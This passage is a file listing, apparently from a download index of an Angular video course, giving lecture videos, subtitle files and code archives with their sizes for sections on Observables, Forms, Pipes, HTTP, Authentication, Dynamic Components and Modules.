    13 - Understanding Observables/011 Useful Resources & Links.html 597 B
    13 - Understanding Observables/18271520-obs-03-complete-custom-observable.zip 41.76 KB
    13 - Understanding Observables/18271524-obs-04-operators.zip 38.4 KB
    13 - Understanding Observables/18271530-obs-01-start.zip 37.25 KB
    13 - Understanding Observables/18271532-obs-02-first-custom-observable.zip 40.91 KB
    13 - Understanding Observables/18271536-obs-03-complete-custom-observable.zip 41.76 KB
    13 - Understanding Observables/18271538-obs-04-operators.zip 38.4 KB
    13 - Understanding Observables/30105948-obs-01-start.zip 42.96 KB
    13 - Understanding Observables/30105952-obs-05-finished.zip 45.01 KB
    13 - Understanding Observables/30105954-obs-05-finished.zip 45.01 KB
    14 - Course Project - Observables/001 Improving the Reactive Service with Observables (Subjects).mp4 27.01 MB
    14 - Course Project - Observables/001 Improving the Reactive Service with Observables (Subjects)_en.srt 7.23 KB
    14 - Course Project - Observables/002 Changed the Subscription Name.html 206 B
    14 - Course Project - Observables/30028242-prj-routing-final.zip 34.55 KB
    14 - Course Project - Observables/30105956-prj-obs-01-finished.zip 78.22 KB
    15 - Handling Forms in Angular Apps/001 Module Introduction.mp4 3.01 MB
    15 - Handling Forms in Angular Apps/001 Module Introduction_en.srt 1.7 KB
    15 - Handling Forms in Angular Apps/002 Why do we Need Angular's Help_.mp4 6.04 MB
    15 - Handling Forms in Angular Apps/002 Why do we Need Angular's Help__en.srt 2.94 KB
    15 - Handling Forms in Angular Apps/003 Template-Driven (TD) vs Reactive Approach.mp4 2.97 MB
    15 - Handling Forms in Angular Apps/003 Template-Driven (TD) vs Reactive Approach_en.srt 1.54 KB
    15 - Handling Forms in Angular Apps/004 An Example Form.mp4 6.2 MB
    15 - Handling Forms in Angular Apps/004 An Example Form_en.srt 2.05 KB
    15 - Handling Forms in Angular Apps/005 TD_ Creating the Form and Registering the Controls.mp4 32.12 MB
    15 - Handling Forms in Angular Apps/005 TD_ Creating the Form and Registering the Controls_en.srt 7.34 KB
    15 - Handling Forms in Angular Apps/006 TD_ Submitting and Using the Form.mp4 32.87 MB
    15 - Handling Forms in Angular Apps/006 TD_ Submitting and Using the Form_en.srt 7.99 KB
    15 - Handling Forms in Angular Apps/007 TD_ Understanding Form State.mp4 7.2 MB
    15 - Handling Forms in Angular Apps/007 TD_ Understanding Form State_en.srt 3.34 KB
    15 - Handling Forms in Angular Apps/008 TD_ Accessing the Form with @ViewChild.mp4 12.61 MB
    15 - Handling Forms in Angular Apps/008 TD_ Accessing the Form with @ViewChild_en.srt 3.88 KB
    15 - Handling Forms in Angular Apps/009 TD_ Adding Validation to check User Input.mp4 17.16 MB
    15 - Handling Forms in Angular Apps/009 TD_ Adding Validation to check User Input_en.srt 5.29 KB
    15 - Handling Forms in Angular Apps/010 Built-in Validators & Using HTML5 Validation.html 951 B
    15 - Handling Forms in Angular Apps/011 TD_ Using the Form State.mp4 17.88 MB
    15 - Handling Forms in Angular Apps/011 TD_ Using the Form State_en.srt 5.94 KB
    15 - Handling Forms in Angular Apps/012 TD_ Outputting Validation Error Messages.mp4 12.52 MB
    15 - Handling Forms in Angular Apps/012 TD_ Outputting Validation Error Messages_en.srt 2.93 KB
    15 - Handling Forms in Angular Apps/013 TD_ Set Default Values with ngModel Property Binding.mp4 9.24 MB
    15 - Handling Forms in Angular Apps/013 TD_ Set Default Values with ngModel Property Binding_en.srt 3.08 KB
    15 - Handling Forms in Angular Apps/014 TD_ Using ngModel with Two-Way-Binding.mp4 11.39 MB
    15 - Handling Forms in Angular Apps/014 TD_ Using ngModel with Two-Way-Binding_en.srt 3.35 KB
    15 - Handling Forms in Angular Apps/015 TD_ Grouping Form Controls.mp4 17.96 MB
    15 - Handling Forms in Angular Apps/015 TD_ Grouping Form Controls_en.srt 4.09 KB
    15 - Handling Forms in Angular Apps/016 TD_ Handling Radio Buttons.mp4 17.62 MB
    15 - Handling Forms in Angular Apps/016 TD_ Handling Radio Buttons_en.srt 4.32 KB
    15 - Handling Forms in Angular Apps/017 TD_ Setting and Patching Form Values.mp4 19.89 MB
    15 - Handling Forms in Angular Apps/017 TD_ Setting and Patching Form Values_en.srt 5.4 KB
    15 - Handling Forms in Angular Apps/018 TD_ Using Form Data.mp4 20.18 MB
    15 - Handling Forms in Angular Apps/018 TD_ Using Form Data_en.srt 5.94 KB
    15 - Handling Forms in Angular Apps/019 TD_ Resetting Forms.mp4 7.64 MB
    15 - Handling Forms in Angular Apps/019 TD_ Resetting Forms_en.srt 2.13 KB
    15 - Handling Forms in Angular Apps/020 Introduction to the Reactive Approach.mp4 1.52 MB
    15 - Handling Forms in Angular Apps/020 Introduction to the Reactive Approach_en.srt 919 B
    15 - Handling Forms in Angular Apps/021 Reactive_ Setup.mp4 10.5 MB
    15 - Handling Forms in Angular Apps/021 Reactive_ Setup_en.srt 3.26 KB
    15 - Handling Forms in Angular Apps/022 Reactive_ Creating a Form in Code.mp4 12.96 MB
    15 - Handling Forms in Angular Apps/022 Reactive_ Creating a Form in Code_en.srt 5.69 KB
    15 - Handling Forms in Angular Apps/023 Reactive_ Syncing HTML and Form.mp4 17.14 MB
    15 - Handling Forms in Angular Apps/023 Reactive_ Syncing HTML and Form_en.srt 5.33 KB
    15 - Handling Forms in Angular Apps/024 Reactive_ Submitting the Form.mp4 9.18 MB
    15 - Handling Forms in Angular Apps/024 Reactive_ Submitting the Form_en.srt 2.87 KB
    15 - Handling Forms in Angular Apps/025 Reactive_ Adding Validation.mp4 8.8 MB
    15 - Handling Forms in Angular Apps/025 Reactive_ Adding Validation_en.srt 3.61 KB
    15 - Handling Forms in Angular Apps/026 Reactive_ Getting Access to Controls.mp4 33.32 MB
    15 - Handling Forms in Angular Apps/026 Reactive_ Getting Access to Controls_en.srt 4.76 KB
    15 - Handling Forms in Angular Apps/027 Reactive_ Grouping Controls.mp4 20.6 MB
    15 - Handling Forms in Angular Apps/027 Reactive_ Grouping Controls_en.srt 4.7 KB
    15 - Handling Forms in Angular Apps/028 Fixing a Bug.html 1.11 KB
    15 - Handling Forms in Angular Apps/029 Reactive_ Arrays of Form Controls (FormArray).mp4 39.99 MB
    15 - Handling Forms in Angular Apps/029 Reactive_ Arrays of Form Controls (FormArray)_en.srt 8.69 KB
    15 - Handling Forms in Angular Apps/030 Reactive_ Creating Custom Validators.mp4 54.61 MB
    15 - Handling Forms in Angular Apps/030 Reactive_ Creating Custom Validators_en.srt 7.56 KB
    15 - Handling Forms in Angular Apps/031 Reactive_ Using Error Codes.mp4 48.16 MB
    15 - Handling Forms in Angular Apps/031 Reactive_ Using Error Codes_en.srt 3.84 KB
    15 - Handling Forms in Angular Apps/032 Reactive_ Creating a Custom Async Validator.mp4 24.18 MB
    15 - Handling Forms in Angular Apps/032 Reactive_ Creating a Custom Async Validator_en.srt 5.58 KB
    15 - Handling Forms in Angular Apps/033 Reactive_ Reacting to Status or Value Changes.mp4 8.79 MB
    15 - Handling Forms in Angular Apps/033 Reactive_ Reacting to Status or Value Changes_en.srt 2.64 KB
    15 - Handling Forms in Angular Apps/034 Reactive_ Setting and Patching Values.mp4 10.7 MB
    15 - Handling Forms in Angular Apps/034 Reactive_ Setting and Patching Values_en.srt 2.41 KB
    15 - Handling Forms in Angular Apps/035 [OPTIONAL] Assignment Solution.mp4 73.54 MB
    15 - Handling Forms in Angular Apps/035 [OPTIONAL] Assignment Solution_en.srt 17.12 KB
    15 - Handling Forms in Angular Apps/30028270-forms-td-start.zip 18.43 KB
    15 - Handling Forms in Angular Apps/30028300-forms-td-final.zip 19.24 KB
    15 - Handling Forms in Angular Apps/30028330-forms-reactive-start.zip 18.83 KB
    15 - Handling Forms in Angular Apps/30028352-forms-reactive-final.zip 18.9 KB
    15 - Handling Forms in Angular Apps/30028362-forms-reactive-assignment-solution.zip 20 KB
    16 - Course Project - Forms/001 Introduction.mp4 3.16 MB
    16 - Course Project - Forms/001 Introduction_en.srt 1.44 KB
    16 - Course Project - Forms/002 TD_ Adding the Shopping List Form.mp4 18.09 MB
    16 - Course Project - Forms/002 TD_ Adding the Shopping List Form_en.srt 4.41 KB
    16 - Course Project - Forms/003 Adding Validation to the Form.mp4 6.1 MB
    16 - Course Project - Forms/003 Adding Validation to the Form_en.srt 3.28 KB
    16 - Course Project - Forms/004 Allowing the Selection of Items in the List.mp4 12.66 MB
    16 - Course Project - Forms/004 Allowing the Selection of Items in the List_en.srt 5.59 KB
    16 - Course Project - Forms/005 Loading the Shopping List Items into the Form.mp4 11.28 MB
    16 - Course Project - Forms/005 Loading the Shopping List Items into the Form_en.srt 3.61 KB
    16 - Course Project - Forms/006 Updating existing Items.mp4 11.54 MB
    16 - Course Project - Forms/006 Updating existing Items_en.srt 4.07 KB
    16 - Course Project - Forms/007 Resetting the Form.mp4 7.54 MB
    16 - Course Project - Forms/007 Resetting the Form_en.srt 2.94 KB
    16 - Course Project - Forms/008 Allowing the the User to Clear (Cancel) the Form.mp4 3.89 MB
    16 - Course Project - Forms/008 Allowing the the User to Clear (Cancel) the Form_en.srt 1.4 KB
    16 - Course Project - Forms/009 Allowing the Deletion of Shopping List Items.mp4 7.63 MB
    16 - Course Project - Forms/009 Allowing the Deletion of Shopping List Items_en.srt 3.55 KB
    16 - Course Project - Forms/010 Creating the Template for the (Reactive) Recipe Edit Form.mp4 17.74 MB
    16 - Course Project - Forms/010 Creating the Template for the (Reactive) Recipe Edit Form_en.srt 6.13 KB
    16 - Course Project - Forms/011 Creating the Form For Editing Recipes.mp4 15.38 MB
    16 - Course Project - Forms/011 Creating the Form For Editing Recipes_en.srt 6.05 KB
    16 - Course Project - Forms/012 Syncing HTML with the Form.mp4 14.91 MB
    16 - Course Project - Forms/012 Syncing HTML with the Form_en.srt 4.56 KB
    16 - Course Project - Forms/013 Fixing a Bug.html 816 B
    16 - Course Project - Forms/014 Adding Ingredient Controls to a Form Array.mp4 22.31 MB
    16 - Course Project - Forms/014 Adding Ingredient Controls to a Form Array_en.srt 6.44 KB
    16 - Course Project - Forms/015 Adding new Ingredient Controls.mp4 16.21 MB
    16 - Course Project - Forms/015 Adding new Ingredient Controls_en.srt 4.19 KB
    16 - Course Project - Forms/016 Validating User Input.mp4 22.24 MB
    16 - Course Project - Forms/016 Validating User Input_en.srt 6.01 KB
    16 - Course Project - Forms/017 Submitting the Recipe Edit Form.mp4 29.54 MB
    16 - Course Project - Forms/017 Submitting the Recipe Edit Form_en.srt 8.96 KB
    16 - Course Project - Forms/018 Adding a Delete and Clear (Cancel) Functionality.mp4 21.62 MB
    16 - Course Project - Forms/018 Adding a Delete and Clear (Cancel) Functionality_en.srt 5.64 KB
    16 - Course Project - Forms/019 Redirecting the User (after Deleting a Recipe).mp4 11.76 MB
    16 - Course Project - Forms/019 Redirecting the User (after Deleting a Recipe)_en.srt 1.74 KB
    16 - Course Project - Forms/020 Adding an Image Preview.mp4 11.34 MB
    16 - Course Project - Forms/020 Adding an Image Preview_en.srt 2.03 KB
    16 - Course Project - Forms/021 Providing the Recipe Service Correctly.mp4 17.55 MB
    16 - Course Project - Forms/021 Providing the Recipe Service Correctly_en.srt 2.21 KB
    16 - Course Project - Forms/022 Deleting Ingredients and Some Finishing Touches.mp4 24.96 MB
    16 - Course Project - Forms/022 Deleting Ingredients and Some Finishing Touches_en.srt 3.94 KB
    16 - Course Project - Forms/023 Deleting all Items in a FormArray.html 503 B
    16 - Course Project - Forms/30028394-prj-forms-final.zip 69.02 KB
    16 - Course Project - Forms/30165048-prj-obs-01-finished.zip 78.22 KB
    17 - Using Pipes to Transform Output/001 Introduction & Why Pipes are Useful.mp4 4.65 MB
    17 - Using Pipes to Transform Output/001 Introduction & Why Pipes are Useful_en.srt 2.69 KB
    17 - Using Pipes to Transform Output/002 Using Pipes.mp4 14.04 MB
    17 - Using Pipes to Transform Output/002 Using Pipes_en.srt 4.4 KB
    17 - Using Pipes to Transform Output/003 Parametrizing Pipes.mp4 6.48 MB
    17 - Using Pipes to Transform Output/003 Parametrizing Pipes_en.srt 2.86 KB
    17 - Using Pipes to Transform Output/004 Where to learn more about Pipes.mp4 8.14 MB
    17 - Using Pipes to Transform Output/004 Where to learn more about Pipes_en.srt 2.74 KB
    17 - Using Pipes to Transform Output/005 Chaining Multiple Pipes.mp4 9.87 MB
    17 - Using Pipes to Transform Output/005 Chaining Multiple Pipes_en.srt 2.85 KB
    17 - Using Pipes to Transform Output/006 Creating a Custom Pipe.mp4 34.59 MB
    17 - Using Pipes to Transform Output/006 Creating a Custom Pipe_en.srt 8.55 KB
    17 - Using Pipes to Transform Output/007 Parametrizing a Custom Pipe.mp4 10.78 MB
    17 - Using Pipes to Transform Output/007 Parametrizing a Custom Pipe_en.srt 3.45 KB
    17 - Using Pipes to Transform Output/008 Example_ Creating a Filter Pipe.mp4 29.56 MB
    17 - Using Pipes to Transform Output/008 Example_ Creating a Filter Pipe_en.srt 8.95 KB
    17 - Using Pipes to Transform Output/009 Pure and Impure Pipes (or_ How to _fix_ the Filter Pipe).mp4 14.51 MB
    17 - Using Pipes to Transform Output/009 Pure and Impure Pipes (or_ How to _fix_ the Filter Pipe)_en.srt 6.21 KB
    17 - Using Pipes to Transform Output/010 Understanding the _async_ Pipe.mp4 34.64 MB
    17 - Using Pipes to Transform Output/010 Understanding the _async_ Pipe_en.srt 5.25 KB
    17 - Using Pipes to Transform Output/30028426-pipes-start.zip 33.72 KB
    17 - Using Pipes to Transform Output/30028434-pipes-final.zip 35.57 KB
    18 - Making Http Requests/001 A New IDE.mp4 1.76 MB
    18 - Making Http Requests/001 A New IDE_en.srt 1.06 KB
    18 - Making Http Requests/002 Module Introduction.mp4 1.06 MB
    18 - Making Http Requests/002 Module Introduction_en.srt 1.49 KB
    18 - Making Http Requests/003 How Does Angular Interact With Backends_.mp4 4.68 MB
    18 - Making Http Requests/003 How Does Angular Interact With Backends__en.srt 4.25 KB
    18 - Making Http Requests/004 The Anatomy of a Http Request.mp4 3 MB
    18 - Making Http Requests/004 The Anatomy of a Http Request_en.srt 3.47 KB
    18 - Making Http Requests/005 Backend (Firebase) Setup.mp4 13.7 MB
    18 - Making Http Requests/005 Backend (Firebase) Setup_en.srt 3.93 KB
    18 - Making Http Requests/006 Sending a POST Request.mp4 37.21 MB
    18 - Making Http Requests/006 Sending a POST Request_en.srt 13.94 KB
    18 - Making Http Requests/007 GETting Data.mp4 7.42 MB
    18 - Making Http Requests/007 GETting Data_en.srt 4.02 KB
    18 - Making Http Requests/008 Using RxJS Operators to Transform Response Data.mp4 13.71 MB
    18 - Making Http Requests/008 Using RxJS Operators to Transform Response Data_en.srt 4.96 KB
    18 - Making Http Requests/009 Using Types with the HttpClient.mp4 14.63 MB
    18 - Making Http Requests/009 Using Types with the HttpClient_en.srt 6.41 KB
    18 - Making Http Requests/010 Outputting Posts.mp4 7.6 MB
    18 - Making Http Requests/010 Outputting Posts_en.srt 2.61 KB
    18 - Making Http Requests/011 Showing a Loading Indicator.mp4 6.68 MB
    18 - Making Http Requests/011 Showing a Loading Indicator_en.srt 2.99 KB
    18 - Making Http Requests/012 Using a Service for Http Requests.mp4 27.14 MB
    18 - Making Http Requests/012 Using a Service for Http Requests_en.srt 8.55 KB
    18 - Making Http Requests/013 Services & Components Working Together.mp4 12.71 MB
    18 - Making Http Requests/013 Services & Components Working Together_en.srt 4.5 KB
    18 - Making Http Requests/014 Sending a DELETE Request.mp4 11.34 MB
    18 - Making Http Requests/014 Sending a DELETE Request_en.srt 4.52 KB
    18 - Making Http Requests/015 Handling Errors.mp4 37.25 MB
    18 - Making Http Requests/015 Handling Errors_en.srt 9.06 KB
    18 - Making Http Requests/016 Using Subjects for Error Handling.mp4 10.48 MB
    18 - Making Http Requests/016 Using Subjects for Error Handling_en.srt 3.23 KB
    18 - Making Http Requests/017 Using the catchError Operator.mp4 8.46 MB
    18 - Making Http Requests/017 Using the catchError Operator_en.srt 2.67 KB
    18 - Making Http Requests/018 Error Handling & UX.mp4 8.65 MB
    18 - Making Http Requests/018 Error Handling & UX_en.srt 2.88 KB
    18 - Making Http Requests/019 Setting Headers.mp4 13.76 MB
    18 - Making Http Requests/019 Setting Headers_en.srt 4.14 KB
    18 - Making Http Requests/020 Adding Query Params.mp4 16.43 MB
    18 - Making Http Requests/020 Adding Query Params_en.srt 5.36 KB
    18 - Making Http Requests/021 Observing Different Types of Responses.mp4 44.2 MB
    18 - Making Http Requests/021 Observing Different Types of Responses_en.srt 9.86 KB
    18 - Making Http Requests/022 Changing the Response Body Type.mp4 13.68 MB
    18 - Making Http Requests/022 Changing the Response Body Type_en.srt 4.25 KB
    18 - Making Http Requests/023 Introducing Interceptors.mp4 25.23 MB
    18 - Making Http Requests/023 Introducing Interceptors_en.srt 9.44 KB
    18 - Making Http Requests/024 Manipulating Request Objects.mp4 8.84 MB
    18 - Making Http Requests/024 Manipulating Request Objects_en.srt 3.11 KB
    18 - Making Http Requests/025 Response Interceptors.mp4 12.14 MB
    18 - Making Http Requests/025 Response Interceptors_en.srt 3.71 KB
    18 - Making Http Requests/026 Multiple Interceptors.mp4 29.46 MB
    18 - Making Http Requests/026 Multiple Interceptors_en.srt 6.19 KB
    18 - Making Http Requests/027 Wrap Up.mp4 7.47 MB
    18 - Making Http Requests/027 Wrap Up_en.srt 2.48 KB
    18 - Making Http Requests/028 Useful Resources & Links.html 178 B
    18 - Making Http Requests/18271638-http-02-post-requests.zip 33.71 KB
    18 - Making Http Requests/18271642-http-03-get-and-transform-data.zip 35.33 KB
    18 - Making Http Requests/18271646-http-04-loading-indicator.zip 35.32 KB
    18 - Making Http Requests/18271656-http-05-handling-errors.zip 36.2 KB
    18 - Making Http Requests/18271662-http-07-query-params.zip 35.82 KB
    18 - Making Http Requests/18271668-http-08-interceptor.zip 36.65 KB
    18 - Making Http Requests/18271674-http-01-start.zip 32.41 KB
    18 - Making Http Requests/18271676-http-02-post-requests.zip 33.71 KB
    18 - Making Http Requests/18271678-http-03-get-and-transform-data.zip 35.33 KB
    18 - Making Http Requests/18271680-http-04-loading-indicator.zip 35.32 KB
    18 - Making Http Requests/18271684-http-05-handling-errors.zip 36.2 KB
    18 - Making Http Requests/18271686-http-06-headers.zip 1.68 KB
    18 - Making Http Requests/18271688-http-07-query-params.zip 35.82 KB
    18 - Making Http Requests/18271690-http-08-interceptor.zip 36.65 KB
    18 - Making Http Requests/18463328-http-06-headers.zip 34.1 KB
    18 - Making Http Requests/28039844-http-01-start.zip 30.02 KB
    18 - Making Http Requests/30028464-http-01-start.zip 17.73 KB
    18 - Making Http Requests/30028468-http-01-start.zip 17.73 KB
    18 - Making Http Requests/30028470-http-09-finished.zip 21.07 KB
    18 - Making Http Requests/30028474-http-09-finished.zip 21.07 KB
    18 - Making Http Requests/external-assets-links.txt 171 B
    19 - Course Project - Http/001 Module Introduction.mp4 1.66 MB
    19 - Course Project - Http/001 Module Introduction_en.srt 1.15 KB
    19 - Course Project - Http/002 Backend (Firebase) Setup.mp4 9.78 MB
    19 - Course Project - Http/002 Backend (Firebase) Setup_en.srt 2.6 KB
    19 - Course Project - Http/003 Setting Up the DataStorage Service.mp4 23.61 MB
    19 - Course Project - Http/003 Setting Up the DataStorage Service_en.srt 7.05 KB
    19 - Course Project - Http/004 Storing Recipes.mp4 27.19 MB
    19 - Course Project - Http/004 Storing Recipes_en.srt 8.74 KB
    19 - Course Project - Http/005 Fetching Recipes.mp4 24.61 MB
    19 - Course Project - Http/005 Fetching Recipes_en.srt 7.41 KB
    19 - Course Project - Http/006 Transforming Response Data.mp4 18.46 MB
    19 - Course Project - Http/006 Transforming Response Data_en.srt 5.43 KB
    19 - Course Project - Http/007 Resolving Data Before Loading.mp4 32.52 MB
    19 - Course Project - Http/007 Resolving Data Before Loading_en.srt 9.23 KB
    19 - Course Project - Http/008 Fixing a Bug with the Resolver.mp4 6.31 MB
    19 - Course Project - Http/008 Fixing a Bug with the Resolver_en.srt 2.03 KB
    19 - Course Project - Http/18271716-prj-http-01-save-and-fetch-recipes.zip 76.94 KB
    19 - Course Project - Http/30028482-prj-http-02-finished.zip 82.79 KB
    20 - Authentication & Route Protection in Angular/001 Module Introduction.mp4 734.66 KB
    20 - Authentication & Route Protection in Angular/001 Module Introduction_en.srt 1.16 KB
    20 - Authentication & Route Protection in Angular/002 How Authentication Works.mp4 5.28 MB
    20 - Authentication & Route Protection in Angular/002 How Authentication Works_en.srt 6.88 KB
    20 - Authentication & Route Protection in Angular/003 Adding the Auth Page.mp4 24.49 MB
    20 - Authentication & Route Protection in Angular/003 Adding the Auth Page_en.srt 8.31 KB
    20 - Authentication & Route Protection in Angular/004 Switching Between Auth Modes.mp4 11.17 MB
    20 - Authentication & Route Protection in Angular/004 Switching Between Auth Modes_en.srt 5.98 KB
    20 - Authentication & Route Protection in Angular/005 Handling Form Input.mp4 13.87 MB
    20 - Authentication & Route Protection in Angular/005 Handling Form Input_en.srt 4.82 KB
    20 - Authentication & Route Protection in Angular/006 Preparing the Backend.mp4 7.84 MB
    20 - Authentication & Route Protection in Angular/006 Preparing the Backend_en.srt 4.39 KB
    20 - Authentication & Route Protection in Angular/007 Make sure you got Recipes in your backend_.html 313 B
    20 - Authentication & Route Protection in Angular/008 Preparing the Signup Request.mp4 50.8 MB
    20 - Authentication & Route Protection in Angular/008 Preparing the Signup Request_en.srt 11.38 KB
    20 - Authentication & Route Protection in Angular/009 Sending the Signup Request.mp4 18.12 MB
    20 - Authentication & Route Protection in Angular/009 Sending the Signup Request_en.srt 6.1 KB
    20 - Authentication & Route Protection in Angular/010 Adding a Loading Spinner & Error Handling Logic.mp4 39.73 MB
    20 - Authentication & Route Protection in Angular/010 Adding a Loading Spinner & Error Handling Logic_en.srt 8.7 KB
    20 - Authentication & Route Protection in Angular/011 Improving Error Handling.mp4 35.93 MB
    20 - Authentication & Route Protection in Angular/011 Improving Error Handling_en.srt 7.23 KB
    20 - Authentication & Route Protection in Angular/012 Sending Login Requests.mp4 39.21 MB
    20 - Authentication & Route Protection in Angular/012 Sending Login Requests_en.srt 7.64 KB
    20 - Authentication & Route Protection in Angular/013 Login Error Handling.mp4 28.42 MB
    20 - Authentication & Route Protection in Angular/013 Login Error Handling_en.srt 5.57 KB
    20 - Authentication & Route Protection in Angular/014 Creating & Storing the User Data.mp4 61.98 MB
    20 - Authentication & Route Protection in Angular/014 Creating & Storing the User Data_en.srt 12.94 KB
    20 - Authentication & Route Protection in Angular/015 Reflecting the Auth State in the UI.mp4 56.92 MB
    20 - Authentication & Route Protection in Angular/015 Reflecting the Auth State in the UI_en.srt 13.16 KB
    20 - Authentication & Route Protection in Angular/016 Adding the Token to Outgoing Requests.mp4 64.03 MB
    20 - Authentication & Route Protection in Angular/016 Adding the Token to Outgoing Requests_en.srt 12.83 KB
    20 - Authentication & Route Protection in Angular/017 Attaching the Token with an Interceptor.mp4 53.86 MB
    20 - Authentication & Route Protection in Angular/017 Attaching the Token with an Interceptor_en.srt 9.96 KB
    20 - Authentication & Route Protection in Angular/018 Adding Logout.mp4 12.87 MB
    20 - Authentication & Route Protection in Angular/018 Adding Logout_en.srt 4.28 KB
    20 - Authentication & Route Protection in Angular/019 Adding Auto-Login.mp4 58.79 MB
    20 - Authentication & Route Protection in Angular/019 Adding Auto-Login_en.srt 12.93 KB
    20 - Authentication & Route Protection in Angular/020 Adding Auto-Logout.mp4 32.92 MB
    20 - Authentication & Route Protection in Angular/020 Adding Auto-Logout_en.srt 9.96 KB
    20 - Authentication & Route Protection in Angular/021 Adding an Auth Guard.mp4 45.04 MB
    20 - Authentication & Route Protection in Angular/021 Adding an Auth Guard_en.srt 13.54 KB
    20 - Authentication & Route Protection in Angular/022 Wrap Up.mp4 8.23 MB
    20 - Authentication & Route Protection in Angular/022 Wrap Up_en.srt 2.62 KB
    20 - Authentication & Route Protection in Angular/023 Useful Resources & Links.html 347 B
    20 - Authentication & Route Protection in Angular/18769626-auth-01-auth-component.zip 76.16 KB
    20 - Authentication & Route Protection in Angular/18769628-auth-08-finished.zip 82.04 KB
    20 - Authentication & Route Protection in Angular/18769630-auth-07-autologin-autologout.zip 85.74 KB
    20 - Authentication & Route Protection in Angular/18769632-auth-06-logout.zip 79.98 KB
    20 - Authentication & Route Protection in Angular/18769634-auth-05-added-token-to-requests.zip 85.52 KB
    20 - Authentication & Route Protection in Angular/18769638-auth-04-added-login.zip 80.55 KB
    20 - Authentication & Route Protection in Angular/18769640-auth-02-auth-form.zip 74.52 KB
    20 - Authentication & Route Protection in Angular/18769708-auth-01-auth-component.zip 76.16 KB
    20 - Authentication & Route Protection in Angular/18769710-auth-02-auth-form.zip 74.52 KB
    20 - Authentication & Route Protection in Angular/18769714-auth-03-signup-request.zip 80.6 KB
    20 - Authentication & Route Protection in Angular/18769718-auth-04-added-login.zip 80.55 KB
    20 - Authentication & Route Protection in Angular/18769722-auth-05-added-token-to-requests.zip 85.52 KB
    20 - Authentication & Route Protection in Angular/18769724-auth-06-logout.zip 79.98 KB
    20 - Authentication & Route Protection in Angular/18769728-auth-07-autologin-autologout.zip 85.74 KB
    20 - Authentication & Route Protection in Angular/18769730-auth-08-finished.zip 82.04 KB
    20 - Authentication & Route Protection in Angular/20393090-auth-03-signup-request.zip 80.6 KB
    21 - Dynamic Components/001 Module Introduction.mp4 1.04 MB
    21 - Dynamic Components/001 Module Introduction_en.srt 1.33 KB
    21 - Dynamic Components/002 Adding an Alert Modal Component.mp4 29.89 MB
    21 - Dynamic Components/002 Adding an Alert Modal Component_en.srt 8.98 KB
    21 - Dynamic Components/003 Understanding the Different Approaches.mp4 3.25 MB
    21 - Dynamic Components/003 Understanding the Different Approaches_en.srt 3.47 KB
    21 - Dynamic Components/004 Using ngIf.mp4 9.04 MB
    21 - Dynamic Components/004 Using ngIf_en.srt 3.85 KB
    21 - Dynamic Components/005 Preparing Programmatic Creation.mp4 35.7 MB
    21 - Dynamic Components/005 Preparing Programmatic Creation_en.srt 11.36 KB
    21 - Dynamic Components/006 Creating a Component Programmatically.mp4 21.5 MB
    21 - Dynamic Components/006 Creating a Component Programmatically_en.srt 6.59 KB
    21 - Dynamic Components/007 Understanding entryComponents.mp4 40.34 MB
    21 - Dynamic Components/007 Understanding entryComponents_en.srt 9.36 KB
    21 - Dynamic Components/008 Data Binding & Event Binding.mp4 22.91 MB
    21 - Dynamic Components/008 Data Binding & Event Binding_en.srt 6.47 KB
    21 - Dynamic Components/009 Wrap Up.mp4 5.44 MB
    21 - Dynamic Components/009 Wrap Up_en.srt 2.08 KB
    21 - Dynamic Components/010 Useful Resources & Links.html 218 B
    21 - Dynamic Components/18769624-dyn-cmp-finished.zip 87.33 KB
    22 - Angular Modules & Optimizing Angular Apps/001 Module Introduction.mp4 674.01 KB
    22 - Angular Modules & Optimizing Angular Apps/001 Module Introduction_en.srt 749 B
    22 - Angular Modules & Optimizing Angular Apps/002 What are Modules_.mp4 3.96 MB
    22 - Angular Modules & Optimizing Angular Apps/002 What are Modules__en.srt 3.13 KB
    22 - Angular Modules & Optimizing Angular Apps/003 Analyzing the AppModule.mp4 57.77 MB
    22 - Angular Modules & Optimizing Angular Apps/003 Analyzing the AppModule_en.srt 8.96 KB
    22 - Angular Modules & Optimizing Angular Apps/004 Getting Started with Feature Modules.mp4 66.89 MB
    22 - Angular Modules & Optimizing Angular Apps/004 Getting Started with Feature Modules_en.srt 11.79 KB
    22 - Angular Modules & Optimizing Angular Apps/005 Splitting Modules Correctly.mp4 17.99 MB
    22 - Angular Modules & Optimizing Angular Apps/005 Splitting Modules Correctly_en.srt 5.63 KB
    22 - Angular Modules & Optimizing Angular Apps/006 Adding Routes to Feature Modules.mp4 20.53 MB
    22 - Angular Modules & Optimizing Angular Apps/006 Adding Routes to Feature Modules_en.srt 5.39 KB
    22 - Angular Modules & Optimizing Angular Apps/007 Component Declarations.mp4 15.6 MB
    22 - Angular Modules & Optimizing Angular Apps/007 Component Declarations_en.srt 2.42 KB
    22 - Angular Modules & Optimizing Angular Apps/008 The ShoppingList Feature Module.mp4 37.65 MB
    22 - Angular Modules & Optimizing Angular Apps/008 The ShoppingList Feature Module_en.srt 5.71 KB
    22 - Angular Modules & Optimizing Angular Apps/009 Understanding Shared Modules.mp4 48.05 MB
    22 - Angular Modules & Optimizing Angular Apps/009 Understanding Shared Modules_en.srt 10.87 KB
    22 - Angular Modules & Optimizing Angular Apps/010 Understanding the Core Module.mp4 21.02 MB
    22 - Angular Modules & Optimizing Angular Apps/010 Understanding the Core Module_en.srt 7.49 KB
    22 - Angular Modules & Optimizing Angular Apps/011 Adding an Auth Feature Module.mp4 18.78 MB
    22 - Angular Modules & Optimizing Angular Apps/011 Adding an Auth Feature Module_en.srt 5.47 KB
    22 - Angular Modules & Optimizing Angular Apps/012 Understanding Lazy Loading.mp4 3.13 MB
    22 - Angular Modules & Optimizing Angular Apps/012 Understanding Lazy Loading_en.srt 3.46 KB
    22 - Angular Modules & Optimizing Angular Apps/013 Implementing Lazy Loading.mp4 95.26 MB
    22 - Angular Modules & Optimizing Angular Apps/013 Implementing Lazy Loading_en.srt 16.45 KB
    22 - Angular Modules & Optimizing Angular Apps/014 More Lazy Loading.mp4 12.61 MB
    22 - Angular Modules & Optimizing Angular Apps/014 More Lazy Loading_en.srt 3.7 KB
    22 - Angular Modules & Optimizing Angular Apps/015 Preloading Lazy-Loaded Code.mp4 21.57 MB
    22 - Angular Modules & Optimizing Angular Apps/015 Preloading Lazy-Loaded Code_en.srt 4.7 KB
    22 - Angular Modules & Optimizing Angular Apps/016 Modules & Services.mp4 8.19 MB
    22 - Angular Modules & Optimizing Angular Apps/016 Modules & Services_en.srt 7.79 KB
    22 - Angular Modules & Optimizing Angular Apps/017 Loading Services Differently.mp4 35.64 MB
